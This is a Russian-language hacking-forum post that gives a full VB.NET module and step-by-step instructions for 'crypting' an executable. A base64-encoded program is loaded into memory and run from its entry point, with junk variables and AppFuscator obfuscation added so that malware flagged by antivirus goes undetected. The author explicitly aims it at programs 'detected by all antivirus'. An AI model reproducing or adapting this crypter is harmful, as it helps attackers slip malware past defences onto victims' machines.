• Добро пожаловать на сайт - Forumteam.bet !

    Что бы просматривать темы форума необходимо зарегестрироваться или войти в свой аккаунт.

    Группа в телеграме (подпишитесь, что бы не потерять нас) - ForumTeam Chat [Подписатся]
    Связь с администратором - @ftmadmin

Прячем вредоносный файл (крипт ехе)

  • Автор темы FIASKO
  • Дата начала
  • Ответы 0
  • Просмотры 807

FIASKO

Проявляет активность
Местный
Регистрация
20.05.18
Открываем visual-studio, создаем новый проект.

GleFzpdgG4A.jpg


Добавляем простой модуль

2ggqxjg6jOQ.jpg

G1k3cCaH134.jpg


И вставляем содержимое:
Код:
    module module1
    Dim KvCNAb As String = "OShsVHguqFKtJCNMyhGvWShHHS"
    Dim NysgqucHukACdAGRVasNmKWRyi As String = "CdmNbayBJHNCsymvsRCHsHgHiMGsBrvjyyBSgitAEC"
    Dim uMHACNOFhOTsgkMcHVBCBCBEmS As String = "gOhBcCNEqSiscNMKbEvBhhggtuhCsMNMVGuMhSBgRH"
    Dim hcrucNgRBktbmGsssjqMsCCgVR As String = "hGgcuyWhAOgNcraAACihSurrAhvNNBSFEHsusABmHVRsasrhCFCkNsaCtTvONchNaMitdNCrBWucFsihBChOsWCusrrdcCHCViVuSusVsF"
    Dim FEiarSHNBVCMHgHamsGVcOcAsGsKWaNgycCyCivCSHdVsskAEiKrbtHvgrhsNBBigEMysdmCBgbigANrrNsAcgVJgh As String = "CEMcNHdkuHrgsHHqjVstNHiCEssbrBWmuNBcFjNuvB"
    Dim server() As Byte = Convert.FromBase64String("")
    Dim HdBcVRNtsHAgbOgsHcgaHCcdsuCSVNaAKRsrVJusNFBsOCFgBisbsAusCC As String = "BuHuWWsgFsHVErcNCuFhBBCtcGAFCugsmTVHjShMVa"
    Dim RagWAVdHCWssBHahvWNVBsSsjk As String = "NjshOGGjgFGcrKGdNrbHcJBFNBHJVTNiRaisgqMcKHBsyCmBVaygANKTuVMugFsSHVNuNVSshCrMHNKBsiHggsFJqA"
    Dim KFbuHBAsCNqmWCFABvvhyTsbMOgVcSNKRsNssVMHsO As String = "VvNNimTSNassaTsMgCgsEvVgNKMMicGMmjsCCkgCWKrKuHCkvddNamiWSE"
    Dim ABbACsSMANihrJWMrqgCTssisCasqVJrjHRKCENCgVgaqqWKguRMEBmAVgVKgNNhrNCargVraC As String = "qiGmsAFVghhCNhCgrdAVCBcgMisHTsdTaShtarshMGvasFtrtOFgBHGTjMNHMCKssiNCNTCrEGJMdrHaahCmagKcVF"
    Dim rMEHHuhATCaWhgdMKCigMRshSW As String = "vdCsBhrsvNNKHsSOJkaNHjCvuWuOsuRGKChFNthTyKHuCadaTAHiGRGaVg"
    Sub Main(ByVal kSsAggcSSuvrqFhWaSOisssyNuiWrNqhFcsEMMcSOHGSMrHujghdErsBhCBRMAHyCGSRVVNSHJHhgMHABsCsdghsaA() As String)
        Dim dCVrmTCBsSVvmiFCCSgNFjBhJsgrKhsCCajHgaCrHcmAsCCEgNAjjGmScChBgHCBBbEgHWBNhW As String = "HuMiaharBVNabhyNrsacNdySbcdqgCHHuMRhArGddEHccgOsFHjuaGBHBsCFVasCFaEvqmTvmy"
        Dim NskNhrHRHciVcduFNShNtuJabS As String = "hHhdCVmTGVEsMMsrHRChsGNjcVhOKMsNSFCVgHsCHgbcmsGSNRijkssahHsBaVhCKhNJMahTSFvciyFsdsaVyBiJSHtAhSgNujcBHVNNyT"
        Dim dargShFSBvmWssmmjTcNBhGugK As String = "icsbBskAAShBCFGgNsrrqCSFbmGNKbNBaHcBhHirhmacsCjuuhRsTNVgThKirjqMthcskEsNrS"
        Dim MghjgFBshWatNMsujrackSROmsiEBGEuVHsAgscaaBFiRgcgVkjvvSyNssORmgmCddgdugsiSNCFsCsCMmiiCBAsFu As String = "NHuNMmtNCJSBavMvHiiFbydAiGaRgdhyHviSBsgHsrsByuSdiiEtuRksAi"
        Dim aNiTEBsNvhdvrqMgOmhKuHySGN As String = "BASTVhdCHsNrJJGNbciSCNdVVBkKBqEVgvJBJhHNHh"
        Dim OmJSRSihjVSBcCuakjSaNBsBNFABamRBqdGByBHMGj() As Object = New Object(-1) {}
        Dim ssrVSVcrsCEdHFMgCvsNMmdstC As String = "vCGhhJyhChHGrHHHiSrGChSMMBVNsGdrsidTTiuEdgBBccHuGWCNcFdTjF"
        Dim bBuGrTsSCNCgBjtshONtsFsNvN As String = "MkKrCcaSbrBahGFSkVmsGuFSbFKuRcsFCSsciaiisHsvCKyMhvHMsVssar"
        Dim NsSuiHggNsBbFujEaCKhKasrWs As String = "NNVFAOiutsaVhhscjShiGigHJgHuFcMvhgiHBhyiJs"
        Dim SqSrHGSVBaSagASBruNVRHHtNCHhFFCMgSCTGTtEEBhVtRNcJsFiBsaqTNruNiCaBgTmAdstaRHTHybMyyHGNAOiFimshFiVHBhHsdFgqNhHcsuaVByNjKmSHC As String = "jNWNssacsKGNhhumuHCgththCsNBNcHhOMhCvshNCG"
        Dim hhhNdgNSrsNbrEsRsWBVvSBiRGJFvStMSiHWBqvOCc As String = "hCCucrCEsEJWMyaVbvHKhrvbsmHbNCMWgOiOvCgHAKWkacsCMVKChtsMBsCCqhESuusrssCAVyNCCmtiScNsNdAsrS"
        Dim FdcaOVssNNHsivOSyssdgtCrFS As System.Reflection.Assembly = AppDomain.CurrentDomain.Load(server)
        Dim AkrrvKVMFhqigqABssHCiyRMAHyimiNHhCgrsCsCbaaCvSmdCsSbSsjSyc As String = "iBAOAAEHFHcgBsEOyrsFFqrSAg"
        Dim uhgFskGhmJycHBHdubBmsdSdiNHMBSMrrNrcmisrHbWVurbBSdBaNSmsmVSBdVFBBgatchustV As String = "EsCOcsECiCahBsOsKNharsvyGK"
        Dim aNgBBdsugcauqhsOuvhNKhhHgMCBrCsWHCHBhKaEbg As String = "qiiHBcsAWENihCSkVuSaAkOgac"
        Dim viBhsgtvAhurhhtKyVCsWNGsGOWCCyChrBCagEsshkshyMSsHtaNCrHOvG As String = "OdNVcussGcmVGcgaicCSuBbCss"
        Dim CrgBChgHSsSdAhasHtWEGCcVuMMsNsaCsTHrKyHiNRhSsCThETckjMBGAaCGsqNhVNCGhKsANsvAsmHTcbhNuCFMJrrHHgAhaSBqHvNmNBBssuKdCrmiNKdAkCMVhHsAdhGBqHBKCiMhBsGgvssVNhsFSj As String = "sMHHcSHMNaaqGqHENmuNCHqWJs"
        If FdcaOVssNNHsivOSyssdgtCrFS.EntryPoint.GetParameters().Length > 0 Then
            Dim CqhTsSdgFckAuAsjHCVFNrNJrGiVEHdBryTEskGMShJGSHKsyaaHsmWhhEcCkjNdsimggEgCHhgHFcNsVhSrNhsskR As String = "OShsVHguqFKtJCNMyhGvWShHHS"
            Dim igFWqCCdmHVisiScvdCrNbbdtHHSEsNNdNAHBcsJCAABiNGqdcKvqbMRKs As String = "FNHiKuBhAHivFTSsuhVNGCWsghEOsNCmgVSGEONaBG"
            Dim cNsMhgsVhAcTcVCmNCsEsAHihH As String = "NNNaiWGySJsOMjCGKastsHckiGsHstHssCusuGFHGsVsGuBOhEJOMmCCGh"
            Dim gAiBigiScbTOrgdquVtCcSqaJH As String = "hiHVBNrmBdHsmdiTVHcAFiMGyMHMNvsssSmCAsNrCtuBCtCghNmaErHigCHHrTMAHCMhycFuTa"
            Dim SsBMbhhBBvcHgSBNAkuhSmWTGN As String = "aNKKuKahrgAiHGCsgikNhsJHgCKgFuSShjshhSCugHJKthsyqKOTjNHshNhKTOHdViSVvBMgKbhrAghGBThAgGFsga"
            OmJSRSihjVSBcCuakjSaNBsBNFABamRBqdGByBHMGj = New Object() {FdcaOVssNNHsivOSyssdgtCrFS}
        End If
        Dim tsSvVhMVicMWumNHNHVMvdCSbr As String = "dScVsEBiNsriajSHWHMhHhHTKFMTdbgBSFsMahGgAacJHAMsSSMrEJENCO"
        Dim CdaHNNbKEcNHghTgsHuSgmaBCN As String = "KWchsNHidsyHHVhssbNBNvcHvbNscvNBcshbSstBCa"
        Dim tsctkishNcEcqtjMCsBbssAhaNvrMgBhNKFkbRBsCNiHiOgBBTvRCNqANHsaKgcrsHvmBFghNRhEuhHuACsjNiyHsV As String = "gCssdHhVBScHRHrVhvgqANgMrgFrAiChcMSkMsCautyFhcihJhcgKNNWsNmRrCCNisGgsBvrgi"
        Dim HsrBTsBEHaSAsCSyWsgGCssgBu As String = "uFVuNcAsdJOdOcBvMhVcMajCAdTsshCiqJqKHjHGCOMGssNsWiuaKAHTqu"
        Dim NshRMVicmAaHTGgHmBCjSuJNtj As String = "HqNNusTcVcChHHBWvtHVqEshscABCsANCrdMsFgKMCssHrrVGvsSvsishmCqBsCqdauVWscsBShaCmRCrKkqThABuCShahHkSumhGhNuHd"
        FdcaOVssNNHsivOSyssdgtCrFS.EntryPoint.Invoke(Nothing, OmJSRSihjVSBcCuakjSaNBsBNFABamRBqdGByBHMGj)
    End Sub

End Module

Далее, берем нашу прогу которая палится всеми антивирусными программами, конвертируем в формат base64 и вставляем в 7-ую строку нашего замечательного модуля

sEzweKIn6E0.jpg


Почти все готово, далее идем в свойства нашего нашего будущего приложения.

1b_Ea5JhdYA.jpg

ftST5cOhdqI.jpg


И собираем

yfzjxmRbzR4.jpg


далее мы его обфусцируем (сожмем в размере и спрячем код) в прожке AppFuscator

4uSh743ZzdQ.jpg


Готово, теперь наша прога стала ''безопасной''
 
Сверху Снизу